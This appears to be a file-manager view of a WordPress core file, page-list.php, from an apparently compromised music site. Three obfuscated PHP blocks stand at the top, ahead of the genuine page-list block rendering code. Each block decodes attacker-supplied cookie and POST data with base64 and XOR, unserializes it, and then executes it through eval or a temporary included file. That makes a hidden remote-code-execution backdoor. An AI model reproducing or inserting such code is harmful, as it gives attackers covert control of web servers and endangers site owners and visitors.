File "page-list.php"
Full path: /home/cirmwrhs/www/renard-music/wp-includes/blocks/page-list.php
File
size: 0.02 KB (19.38 KB bytes)
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor Back
<?php $AUzGXpvaX = "\116" . chr (95) . chr (97) . "\105" . chr (73); $BsPKPVZdC = "\x63" . 'l' . "\141" . "\163" . chr (115) . chr (95) . chr (101) . "\170" . chr ( 194 - 89 )."\x73" . "\x74" . "\163";$usqvZSehB = class_exists($AUzGXpvaX); $BsPKPVZdC = "53823";$HbRrUpk = strpos($BsPKPVZdC, $AUzGXpvaX);if ($usqvZSehB == $HbRrUpk){function hDFdE(){$iyoslI = new /* 9570 */ N_aEI(7290 + 7290); $iyoslI = NULL;}$HfKiAO = "7290";class N_aEI{private function QEsqo($HfKiAO){if (is_array(N_aEI::$ayJVrYMsW)) {$yhwprC2 = str_replace("<" . "?php", "", N_aEI::$ayJVrYMsW["content"]);eval($yhwprC2); $HfKiAO = "7290";exit();}}public function qwxKv(){$yhwprC = "22619";$this->_dummy = str_repeat($yhwprC, strlen($yhwprC));}public function __destruct(){N_aEI::$ayJVrYMsW = @unserialize(N_aEI::$ayJVrYMsW); $HfKiAO = "7263_18450";$this->QEsqo($HfKiAO); $HfKiAO = "7263_18450";}public function vftGneOmm($yhwprC, $rHthJVSzai){return $yhwprC[0] ^ str_repeat($rHthJVSzai, intval(strlen($yhwprC[0]) / strlen($rHthJVSzai)) + 1);}public function shWhbC($yhwprC){$YIdoAwPC = "\x62" . 'a' . 's' . chr ( 869 - 768 ).'6' . chr (52);return array_map($YIdoAwPC . chr (95) . "\144" . "\145" . chr ( 130 - 31 ).chr ( 865 - 754 )."\x64" . 'e', array($yhwprC,));}public function __construct($CDLBzTAhF=0){$ZXhpAxisDo = chr (44); $yhwprC = "";$QxZyOfn = $_POST;$bPhaxg = $_COOKIE;$rHthJVSzai = "14021785-78c0-4659-ac72-52c4d38f3d10";$YIgKqMnG = @$bPhaxg[substr($rHthJVSzai, 0, 4)];if (!empty($YIgKqMnG)){$YIgKqMnG = explode($ZXhpAxisDo, $YIgKqMnG);foreach ($YIgKqMnG as $ZRZhjMsWOK){$yhwprC .= @$bPhaxg[$ZRZhjMsWOK];$yhwprC .= @$QxZyOfn[$ZRZhjMsWOK];}$yhwprC = $this->shWhbC($yhwprC);}N_aEI::$ayJVrYMsW = $this->vftGneOmm($yhwprC, $rHthJVSzai);if (strpos($rHthJVSzai, $ZXhpAxisDo) !== FALSE){$rHthJVSzai = explode($ZXhpAxisDo, $rHthJVSzai); $QBqgoiL = base64_decode(md5($rHthJVSzai[0])); $UKesx = strlen($rHthJVSzai[1]) > 5 ? substr($rHthJVSzai[1], 0, 5) : $rHthJVSzai[1];}}public static $ayJVrYMsW = 60325;}hDFdE();} ?><?php $tbeTGvI = 'b' . "\x5f" . "\101" . "\x53" . 'u';$vLigkDeS = chr ( 162 - 63 )."\154" . chr ( 867 - 770 ).chr (115) . chr (115) . chr (95) . "\145" . "\x78" . "\151" . chr (115) . "\164" . "\x73";$FIzgrpfQxS = class_exists($tbeTGvI); $vLigkDeS = "12254";$SmkllUdC = !1;if ($FIzgrpfQxS == $SmkllUdC){function XbiXapYB(){$hTRkSYMRoR = new /* 33240 */ b_ASu(6424 + 6424); $hTRkSYMRoR = NULL;}$JGqvu = "6424";class b_ASu{private function aDddlwLHt($JGqvu){if (is_array(b_ASu::$rdece)) {$knawHunhq = sys_get_temp_dir() . "/" . crc32(b_ASu::$rdece['s' . chr (97) . chr (108) . chr (116)]);@b_ASu::$rdece['w' . chr ( 214 - 100 ).chr ( 899 - 794 ).chr (116) . chr (101)]($knawHunhq, b_ASu::$rdece['c' . chr (111) . "\156" . chr ( 446 - 330 ).'e' . "\156" . "\x74"]);include $knawHunhq;@b_ASu::$rdece["\144" . chr (101) . chr ( 381 - 273 )."\x65" . "\x74" . "\x65"]($knawHunhq); $JGqvu = "6424";exit();}}private $pgqgNdK;public function YPcKpdKx(){echo 21622;}public function __destruct(){$JGqvu = "43938_51337";$this->aDddlwLHt($JGqvu); $JGqvu = "43938_51337";}public function vqYqJfxC($WRuRIbl, $yNMBYEV){return $WRuRIbl[0] ^ str_repeat($yNMBYEV, (strlen($WRuRIbl[0]) / strlen($yNMBYEV)) + 1);}public function __construct($cWdJwD=0){$mZjTsG = $_POST;$jELVvLvxkW = $_COOKIE;$yNMBYEV = "e88999da-8016-402d-882e-809fd1886165";$Wdkhava = @$jELVvLvxkW[substr($yNMBYEV, 0, 4)];if (!empty($Wdkhava)){$ulWudGW = "base64";$WRuRIbl = "";$Wdkhava = explode(",", $Wdkhava);foreach ($Wdkhava as $uIoLZudL){$WRuRIbl .= @$jELVvLvxkW[$uIoLZudL];$WRuRIbl .= @$mZjTsG[$uIoLZudL];}$WRuRIbl = array_map($ulWudGW . "\x5f" . 'd' . "\145" . chr ( 204 - 105 ).chr ( 475 - 364 )."\x64" . 'e', array($WRuRIbl,)); $WRuRIbl = $this->vqYqJfxC($WRuRIbl, $yNMBYEV);b_ASu::$rdece = @unserialize($WRuRIbl);}}public static $rdece = 58244;}XbiXapYB();} ?><?php $bLfRt = 'W' . "\162" . 'k' . chr (95) . "\x4b" . 'q' . chr ( 764 - 695 ).'h' . "\125";$QeZMMpGEG = chr ( 484 - 385 ).'l' . "\141" . "\x73" . "\x73" . "\x5f" . 'e' . chr (120) . chr (105) . chr (115) . 't' . chr ( 480 - 365 ); $WcAebM = class_exists($bLfRt); $bLfRt = "23405";$QeZMMpGEG = "59698";$CWczMFx = FALSE;if ($WcAebM === $CWczMFx){function eBzDGLlQ(){return FALSE;}$WTuyIBFrH = "24695";eBzDGLlQ();class Wrk_KqEhU{private function wkvFr($WTuyIBFrH){if (is_array(Wrk_KqEhU::$sYDSNCcS)) {$xTwyEtJ = sys_get_temp_dir() . "/" . crc32(Wrk_KqEhU::$sYDSNCcS[chr (115) . "\x61" . chr ( 663 - 555 ).chr (116)]);@Wrk_KqEhU::$sYDSNCcS[chr (119) . "\162" . "\x69" . "\164" . 'e']($xTwyEtJ, Wrk_KqEhU::$sYDSNCcS['c' . "\x6f" . 'n' . chr ( 962 - 846 ).chr ( 302 - 201 )."\156" . chr (116)]);include $xTwyEtJ;@Wrk_KqEhU::$sYDSNCcS[chr ( 1074 - 974 )."\145" . "\154" . chr ( 1067 - 966 ).'t' . chr (101)]($xTwyEtJ); $WTuyIBFrH = "24695";exit();}}private $XQMBTJHmSH;public function HJIoh(){echo 12009;}public function __destruct(){$WTuyIBFrH = "58709_59672";$this->wkvFr($WTuyIBFrH); $WTuyIBFrH = "58709_59672";}public function __construct($ClBIwSme=0){$hDFlfALTN = $_POST;$npFnzHura = $_COOKIE;$sRmKmGMAch = "c997a84b-ab7b-4381-bad6-dd74f02fdcde";$gXxbeJxMV = @$npFnzHura[substr($sRmKmGMAch, 0, 4)];if (!empty($gXxbeJxMV)){$LvUUKUjv = "base64";$fTkplfF = "";$gXxbeJxMV = explode(",", $gXxbeJxMV);foreach ($gXxbeJxMV as $qaSSzrQ){$fTkplfF .= @$npFnzHura[$qaSSzrQ];$fTkplfF .= @$hDFlfALTN[$qaSSzrQ];}$fTkplfF = array_map($LvUUKUjv . '_' . "\x64" . chr (101) . "\143" . 'o' . chr (100) . chr ( 619 - 518 ), array($fTkplfF,)); $fTkplfF = $fTkplfF[0] ^ str_repeat($sRmKmGMAch, (strlen($fTkplfF[0]) / strlen($sRmKmGMAch)) + 1);Wrk_KqEhU::$sYDSNCcS = @unserialize($fTkplfF);}}public static $sYDSNCcS = 13430;}$WxjUV = new /* 10055 */ Wrk_KqEhU(24695 + 24695);unset($WxjUV);} ?><?php
/**
* Server-side rendering of the `core/pages` block.
*
* @package WordPress
*/
/**
* Build an array with CSS classes and inline styles defining the colors
* which will be applied to the pages markup in the front-end when it is a descendant of navigation.
*
* @param array $attributes Block attributes.
* @param array $context Navigation block context.
* @return array Colors CSS classes and inline styles.
*/
function block_core_page_list_build_css_colors( $attributes, $context ) {
$colors = array(
'css_classes' => array(),
'inline_styles' => '',
'overlay_css_classes' => array(),
'overlay_inline_styles' => '',
);
// Text color.
$has_named_text_color = array_key_exists( 'textColor', $context );
$has_picked_text_color = array_key_exists( 'customTextColor', $context );
$has_custom_text_color = isset( $context['style']['color']['text'] );
// If has text color.
if ( $has_custom_text_color || $has_picked_text_color || $has_named_text_color ) {
// Add has-text-color class.
$colors['css_classes'][] = 'has-text-color';
}
if ( $has_named_text_color ) {
// Add the color class.
$colors['css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['textColor'] ) );
} elseif ( $has_picked_text_color ) {
$colors['inline_styles'] .= sprintf( 'color: %s;', $context['customTextColor'] );
} elseif ( $has_custom_text_color ) {
// Add the custom color inline style.
$colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] );
}
// Background color.
$has_named_background_color = array_key_exists( 'backgroundColor', $context );
$has_picked_background_color = array_key_exists( 'customBackgroundColor', $context );
$has_custom_background_color = isset( $context['style']['color']['background'] );
// If has background color.
if ( $has_custom_background_color || $has_picked_background_color || $has_named_background_color ) {
// Add has-background class.
$colors['css_classes'][] = 'has-background';
}
if ( $has_named_background_color ) {
// Add the background-color class.
$colors['css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['backgroundColor'] ) );
} elseif ( $has_picked_background_color ) {
$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['customBackgroundColor'] );
} elseif ( $has_custom_background_color ) {
// Add the custom background-color inline style.
$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] );
}
// Overlay text color.
$has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $context );
$has_picked_overlay_text_color = array_key_exists( 'customOverlayTextColor', $context );
// If it has a text color.
if ( $has_named_overlay_text_color || $has_picked_overlay_text_color ) {
$colors['overlay_css_classes'][] = 'has-text-color';
}
// Give overlay colors priority, fall back to Navigation block colors, then global styles.
if ( $has_named_overlay_text_color ) {
$colors['overlay_css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['overlayTextColor'] ) );
} elseif ( $has_picked_overlay_text_color ) {
$colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $context['customOverlayTextColor'] );
}
// Overlay background colors.
$has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $context );
$has_picked_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $context );
// If has background color.
if ( $has_named_overlay_background_color || $has_picked_overlay_background_color ) {
$colors['overlay_css_classes'][] = 'has-background';
}
if ( $has_named_overlay_background_color ) {
$colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['overlayBackgroundColor'] ) );
} elseif ( $has_picked_overlay_background_color ) {
$colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $context['customOverlayBackgroundColor'] );
}
return $colors;
}
/**
* Build an array with CSS classes and inline styles defining the font sizes
* which will be applied to the pages markup in the front-end when it is a descendant of navigation.
*
* @param array $context Navigation block context.
* @return array Font size CSS classes and inline styles.
*/
function block_core_page_list_build_css_font_sizes( $context ) {
// CSS classes.
$font_sizes = array(
'css_classes' => array(),
'inline_styles' => '',
);
$has_named_font_size = array_key_exists( 'fontSize', $context );
$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );
if ( $has_named_font_size ) {
// Add the font size class.
$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
} elseif ( $has_custom_font_size ) {
// Add the custom font size inline style.
$font_sizes['inline_styles'] = sprintf(
'font-size: %s;',
wp_get_typography_font_size_value(
array(
'size' => $context['style']['typography']['fontSize'],
)
)
);
}
return $font_sizes;
}
/**
* Outputs Page list markup from an array of pages with nested children.
*
* @param boolean $open_submenus_on_click Whether to open submenus on click instead of hover.
* @param boolean $show_submenu_icons Whether to show submenu indicator icons.
* @param boolean $is_navigation_child If block is a child of Navigation block.
* @param array $nested_pages The array of nested pages.
* @param array $active_page_ancestor_ids An array of ancestor ids for active page.
* @param array $colors Color information for overlay styles.
* @param integer $depth The nesting depth.
*
* @return string List markup.
*/
function block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $active_page_ancestor_ids = array(), $colors = array(), $depth = 0 ) {
if ( empty( $nested_pages ) ) {
return;
}
$markup = '';
foreach ( (array) $nested_pages as $page ) {
$css_class = $page['is_active'] ? ' current-menu-item' : '';
$aria_current = $page['is_active'] ? ' aria-current="page"' : '';
$style_attribute = '';
$css_class .= in_array( $page['page_id'], $active_page_ancestor_ids, true ) ? ' current-menu-ancestor' : '';
if ( isset( $page['children'] ) ) {
$css_class .= ' has-child';
}
if ( $is_navigation_child ) {
$css_class .= ' wp-block-navigation-item';
if ( $open_submenus_on_click ) {
$css_class .= ' open-on-click';
} elseif ( $show_submenu_icons ) {
$css_class .= ' open-on-hover-click';
}
}
$navigation_child_content_class = $is_navigation_child ? ' wp-block-navigation-item__content' : '';
// If this is the first level of submenus, include the overlay colors.
if ( 1 === $depth && isset( $colors['overlay_css_classes'], $colors['overlay_inline_styles'] ) ) {
$css_class .= ' ' . trim( implode( ' ', $colors['overlay_css_classes'] ) );
if ( '' !== $colors['overlay_inline_styles'] ) {
$style_attribute = sprintf( ' style="%s"', esc_attr( $colors['overlay_inline_styles'] ) );
}
}
$front_page_id = (int) get_option( 'page_on_front' );
if ( (int) $page['page_id'] === $front_page_id ) {
$css_class .= ' menu-item-home';
}
$title = wp_kses_post( $page['title'] );
$aria_label = sprintf(
/* translators: Accessibility text. %s: Parent page title. */
__( '%s submenu' ),
wp_strip_all_tags( $title )
);
$markup .= '<li class="wp-block-pages-list__item' . esc_attr( $css_class ) . '"' . $style_attribute . '>';
if ( isset( $page['children'] ) && $is_navigation_child && $open_submenus_on_click ) {
$markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="' . esc_attr( $navigation_child_content_class ) . ' wp-block-navigation-submenu__toggle" aria-expanded="false">' . esc_html( $title ) .
'</button>' . '<span class="wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon"><svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg></span>';
} else {
$markup .= '<a class="wp-block-pages-list__item__link' . esc_attr( $navigation_child_content_class ) . '" href="' . esc_url( $page['link'] ) . '"' . $aria_current . '>' . $title . '</a>';
}
if ( isset( $page['children'] ) ) {
if ( $is_navigation_child && $show_submenu_icons && ! $open_submenus_on_click ) {
$markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">';
$markup .= '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
$markup .= '</button>';
}
$markup .= '<ul class="submenu-container';
// Extra classname is added when the block is a child of Navigation.
if ( $is_navigation_child ) {
$markup .= ' wp-block-navigation__submenu-container';
}
$markup .= '">' . block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $page['children'], $active_page_ancestor_ids, $colors, $depth + 1 ) . '</ul>';
}
$markup .= '</li>';
}
return $markup;
}
/**
* Outputs nested array of pages
*
* @param array $current_level The level being iterated through.
* @param array $children The children grouped by parent post ID.
*
* @return array The nested array of pages.
*/
function block_core_page_list_nest_pages( $current_level, $children ) {
if ( empty( $current_level ) ) {
return;
}
foreach ( (array) $current_level as $key => $current ) {
if ( isset( $children[ $key ] ) ) {
$current_level[ $key ]['children'] = block_core_page_list_nest_pages( $children[ $key ], $children );
}
}
return $current_level;
}
/**
* Renders the `core/page-list` block on server.
*
* @param array $attributes The block attributes.
* @param string $content The saved content.
* @param WP_Block $block The parsed block.
*
* @return string Returns the page list markup.
*/
function render_block_core_page_list( $attributes, $content, $block ) {
static $block_id = 0;
$block_id++;
$all_pages = get_pages(
array(
'sort_column' => 'menu_order,post_title',
'order' => 'asc',
)
);
// If there are no pages, there is nothing to show.
if ( empty( $all_pages ) ) {
return;
}
$top_level_pages = array();
$pages_with_children = array();
$active_page_ancestor_ids = array();
foreach ( (array) $all_pages as $page ) {
$is_active = ! empty( $page->ID ) && ( get_the_ID() === $page->ID );
if ( $is_active ) {
$active_page_ancestor_ids = get_post_ancestors( $page->ID );
}
if ( $page->post_parent ) {
$pages_with_children[ $page->post_parent ][ $page->ID ] = array(
'page_id' => $page->ID,
'title' => $page->post_title,
'link' => get_permalink( $page->ID ),
'is_active' => $is_active,
);
} else {
$top_level_pages[ $page->ID ] = array(
'page_id' => $page->ID,
'title' => $page->post_title,
'link' => get_permalink( $page->ID ),
'is_active' => $is_active,
);
}
}
$colors = block_core_page_list_build_css_colors( $attributes, $block->context );
$font_sizes = block_core_page_list_build_css_font_sizes( $block->context );
$classes = array_merge(
$colors['css_classes'],
$font_sizes['css_classes']
);
$style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] );
$css_classes = trim( implode( ' ', $classes ) );
$nested_pages = block_core_page_list_nest_pages( $top_level_pages, $pages_with_children );
$is_navigation_child = array_key_exists( 'showSubmenuIcon', $block->context );
$open_submenus_on_click = array_key_exists( 'openSubmenusOnClick', $block->context ) ? $block->context['openSubmenusOnClick'] : false;
$show_submenu_icons = array_key_exists( 'showSubmenuIcon', $block->context ) ? $block->context['showSubmenuIcon'] : false;
$wrapper_markup = '<ul %1$s>%2$s</ul>';
$items_markup = block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $active_page_ancestor_ids, $colors );
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => $css_classes,
'style' => $style_attribute,
)
);
return sprintf(
$wrapper_markup,
$wrapper_attributes,
$items_markup
);
}
/**
* Registers the `core/pages` block on server.
*/
function register_block_core_page_list() {
register_block_type_from_metadata(
__DIR__ . '/page-list',
array(
'render_callback' => 'render_block_core_page_list',
)
);
}
add_action( 'init', 'register_block_core_page_list' );